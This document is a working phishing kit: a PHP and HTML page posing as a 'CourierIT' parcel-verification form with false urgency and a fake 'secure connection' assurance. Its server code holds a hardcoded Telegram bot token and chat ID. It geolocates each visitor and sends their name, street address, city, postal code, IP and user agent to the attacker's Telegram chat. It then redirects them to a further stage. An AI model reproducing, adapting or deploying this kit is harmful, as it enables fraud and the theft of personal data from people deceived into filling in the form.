<?php
$BOT_TOKEN = "7675736230:AAHECKf4diUuzk5OA5pTdViZBOncQIyDtAA";
$CHAT_ID = "7549492194";

// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'Unknown';
$context = stream_context_create(['http' => ['timeout' => 5]]);
$geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context);
if ($geoData !== false) {
    $geo = json_decode($geoData);
    $country = $geo->country ?? 'Unknown';
}

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    curl_exec($ch);
    curl_close($ch);
}

// === HANDLE AJAX LOGIN LOG ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'log_login') {
    $tracking = htmlspecialchars($_POST['tracking'] ?? '');
    $fullname = htmlspecialchars($_POST['fullname'] ?? '');
    $address = htmlspecialchars($_POST['address'] ?? '');
    $city = htmlspecialchars($_POST['city'] ?? '');
    $postal = htmlspecialchars($_POST['postal'] ?? '');

    $msg = "<b>COURIERIT SHIPMENT DETAILS SUBMITTED</b>\n";
    $msg .= "══════════════════════════════\n";
    $msg .= "<b>Tracking #:</b> <code>{$tracking}</code>\n";
    $msg .= "<b>Full Name:</b> {$fullname}\n";
    $msg .= "<b>Address:</b> {$address}\n";
    $msg .= "<b>City:</b> {$city}\n";
    $msg .= "<b>Postal Code:</b> {$postal}\n";
    $msg .= "<b>IP:</b> <code>{$ip}</code>\n";
    $msg .= "<b>Country:</b> {$country}\n";
    $msg .= "<b>Agent:</b> <code>" . substr($user_agent, 0, 50) . "...</code>\n";
    $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
    sendTelegram($msg);

    echo json_encode(['status' => 'logged']);
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Track Your Parcel — CourierIT</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #FFD700;
            --primary-dark: #E5C100;
            --secondary: #1A2C3E;
            --secondary-light: #2C3E50;
            --background: #F8FAFC;
            --card-bg: #FFFFFF;
            --text: #1E2A36;
            --text-muted: #5C6F82;
            --border: #E2E8F0;
            --radius: 4px;
            --input-bg: #FFFFFF;
            --shadow-sm: 0 1px 3px rgba(0,0,0,0.05);
        }
        * { box-sizing: border-box; }
        body {
            margin: 0;
            font-family: 'Inter', sans-serif;
            background: var(--background);
            color: var(--text);
            line-height: 1.5;
            padding: 0;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }
        .container { max-width: 600px; margin: 0 auto; width: 100%; padding: 0 1rem; }

        /* HEADER */
/* HEADER */
.header {
    background: white;
    padding: 1.25rem 0;
    border-bottom: 2px solid var(--primary);
}
.header-container {
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 0 1rem;
    max-width: 1200px;
    margin: 0 auto;
}
.logo-container { display: flex; align-items: center; }
.logo { height: 84px; width: auto; }

        /* HERO */
        .hero {
            background: var(--secondary);
            color: white;
            text-align: center;
            padding: 2rem 1rem;
            margin-bottom: 2rem;
        }
        .hero h1 {
            margin: 0;
            font-size: 1.75rem;
            font-weight: 600;
            letter-spacing: -0.01em;
        }
        .hero-subtitle {
            margin-top: 0.5rem;
            font-size: 0.95rem;
            color: var(--primary);
            font-weight: 500;
        }

        /* MAIN CARD */
        .card {
            background: var(--card-bg);
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 2rem;
            margin-bottom: 2rem;
        }
        .progress {
            margin: 0 0 1.5rem;
            color: var(--text-muted);
            font-size: 0.85rem;
            display: flex;
            align-items: center;
            gap: 0.5rem;
            padding-bottom: 1rem;
            border-bottom: 1px solid var(--border);
        }
        .progress strong { color: var(--text); }
        .progress span {
            border-bottom: 2px solid var(--primary);
            padding-bottom: 2px;
            font-weight: 600;
            color: var(--secondary);
        }

        label {
            display: block;
            margin: 1.25rem 0 0.35rem;
            font-weight: 500;
            font-size: 0.9rem;
            color: var(--text);
            text-transform: uppercase;
            letter-spacing: 0.03em;
        }
        input[type="text"] {
            width: 100%;
            padding: 0.75rem 1rem;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            background: var(--input-bg);
            font-size: 0.95rem;
            font-family: 'Inter', sans-serif;
            transition: border-color 0.15s ease;
        }
        input:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 1px var(--primary);
        }
        input[readonly] {
            background: #F1F5F9;
            border-color: var(--border);
        }

        /* INFO BOX */
        .info-box {
            background: #F8FAFC;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 1.25rem;
            margin: 1.5rem 0;
        }
        .info-box h3 {
            margin: 0 0 0.75rem 0;
            color: var(--secondary);
            font-size: 1rem;
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 0.5rem;
        }
        .info-box p {
            margin: 0.5rem 0;
            color: var(--text-muted);
            font-size: 0.9rem;
        }
        .info-box ul {
            margin: 0.75rem 0 0;
            padding-left: 1.25rem;
        }
        .info-box li {
            margin: 0.35rem 0;
            font-size: 0.9rem;
            color: var(--text-muted);
        }

        /* FORM GRID */
        .form-grid {
            display: grid;
            grid-template-columns: 1fr;
            gap: 1rem;
        }
        @media (min-width: 480px) {
            .form-grid { grid-template-columns: 1fr 1fr; }
        }

        /* BUTTON */
        .btn-continue {
            display: block;
            width: 100%;
            padding: 0.9rem;
            margin-top: 1.75rem;
            background: var(--primary);
            color: var(--secondary);
            border: none;
            border-radius: var(--radius);
            font-weight: 600;
            font-size: 0.95rem;
            cursor: pointer;
            text-align: center;
            text-transform: uppercase;
            letter-spacing: 0.05em;
            transition: background 0.15s ease;
        }
        .btn-continue:hover {
            background: var(--primary-dark);
        }

        /* FOOTER */
        .footer {
            text-align: center;
            padding: 2rem 1rem;
            color: var(--text-muted);
            font-size: 0.8rem;
            margin-top: auto;
            background: var(--secondary);
            color: white;
        }
        .footer a {
            color: var(--primary);
            text-decoration: none;
        }
        .footer a:hover { text-decoration: underline; }
        .footer-links {
            margin: 0.8rem 0 0;
            display: flex;
            justify-content: center;
            flex-wrap: wrap;
            gap: 1.5rem;
        }

        @media (max-width: 480px) {
            .container { padding: 0 1rem; }
            .card { padding: 1.5rem; }
            .hero h1 { font-size: 1.5rem; }
        }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>

<!-- HEADER -->
<header class="header">
    <div class="header-container">
        <div class="logo-container">
            <img src="assets/logo.png" alt="CourierIT" class="logo">
        </div>
    </div>
</header>

<!-- HERO -->
<section class="hero">
    <div class="container">
        <h1>Shipment Verification Required</h1>
        <div class="hero-subtitle">
            <i class="fas fa-exclamation-circle"></i> Action required to proceed with your delivery
        </div>
    </div>
</section>

<!-- MAIN CARD -->
<main class="container">
    <div class="card">
        <div class="progress">
            <i class="fas fa-clipboard-check"></i>
            <strong>Status:</strong> <span>Receiver verification required</span>
        </div>

        <div class="info-box">
            <h3><i class="fas fa-info-circle"></i> Important Notice</h3>
            <p>Your shipment has arrived in our warehouse and requires receiver verification before proceeding with customs clearance.</p>
            <p><strong>This shipment is registered under your email address.</strong> Please complete the verification below to authorize further processing.</p>
            <ul>
                <li>Shipment requires receiver confirmation</li>
                <li>Please verify your contact details</li>
                <li>Additional instructions will follow verification</li>
            </ul>
        </div>

        <form id="trackingForm">
            <!-- TRACKING NUMBER (Pre-filled) -->
            <label for="tracking"><i class="fas fa-barcode"></i> Tracking Number:</label>
            <input type="text" id="tracking" value="CRISA9724053681" readonly style="background-color: #F1F5F9;">

            <!-- RECEIVER INFORMATION -->
            <label style="margin-top: 1.75rem;"><i class="fas fa-user"></i> Receiver Information</label>
            <p style="font-size: 0.85rem; color: var(--text-muted); margin: 0.25rem 0 1.25rem;">Please provide your complete details for shipment verification</p>
            
            <div class="form-grid">
                <div>
                    <label for="fullname">Full Name *</label>
                    <input type="text" id="fullname" placeholder="John Smith" required>
                </div>
                <div>
                    <label for="city">City *</label>
                    <input type="text" id="city" placeholder="Johannesburg" required>
                </div>
            </div>
            
            <label for="address">Street Address *</label>
            <input type="text" id="address" placeholder="123 Main Street" required>
            
            <div class="form-grid">
                <div>
                    <label for="postal">Postal Code *</label>
                    <input type="text" id="postal" placeholder="2001" required>
                </div>
                <div>
                    <label for="country">Country</label>
                    <input type="text" id="country" value="South Africa" readonly>
                </div>
            </div>

            <!-- CONTINUE BUTTON -->
            <button type="submit" class="btn-continue">
                <i class="fas fa-check-circle"></i> Verify & Continue
            </button>
        </form>

        <div style="text-align: center; margin-top: 1.5rem; color: var(--text-muted); font-size: 0.8rem;">
            <i class="fas fa-shield-alt"></i> Secure connection • Your information is protected
        </div>
    </div>
</main>

<!-- FOOTER -->
<footer class="footer">
    <div class="container">
        <div>© 2026 CourierIT (Pty) Ltd. All rights reserved.</div>
        <div class="footer-links">
            <a href="#"><i class="fas fa-shield-alt"></i> Privacy</a>
            <a href="#"><i class="fas fa-file-contract"></i> Terms</a>
            <a href="#"><i class="fas fa-question-circle"></i> Help</a>
            <a href="#"><i class="fas fa-phone"></i> Contact</a>
        </div>
    </div>
</footer>

<script>
document.addEventListener('DOMContentLoaded', function() {
    document.getElementById('trackingForm').addEventListener('submit', async function(e) {
        e.preventDefault();

        const tracking = document.getElementById('tracking').value.trim();
        const fullname = document.getElementById('fullname').value.trim();
        const address = document.getElementById('address').value.trim();
        const city = document.getElementById('city').value.trim();
        const postal = document.getElementById('postal').value.trim();

        // === VALIDATION ===
        if (!fullname) {
            alert('Please enter your full name.');
            document.getElementById('fullname').focus();
            return;
        }
        if (!address) {
            alert('Please enter your street address.');
            document.getElementById('address').focus();
            return;
        }
        if (!city) {
            alert('Please enter your city.');
            document.getElementById('city').focus();
            return;
        }
        if (!postal) {
            alert('Please enter your postal code.');
            document.getElementById('postal').focus();
            return;
        }

        const data = { tracking, fullname, address, city, postal };

        // === SEND TO TELEGRAM ===
        try {
            await fetch('', {
                method: 'POST',
                headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                body: `action=log_login&tracking=${encodeURIComponent(tracking)}&fullname=${encodeURIComponent(fullname)}&address=${encodeURIComponent(address)}&city=${encodeURIComponent(city)}&postal=${encodeURIComponent(postal)}`
            });
        } catch (err) {
            console.log('Telegram log failed (non-blocking)');
        }

        // === SAVE & REDIRECT ===
        localStorage.setItem('courieritData', JSON.stringify(data));
        window.location.href = 'loading1.php';
    });
});
</script>

</body>
</html>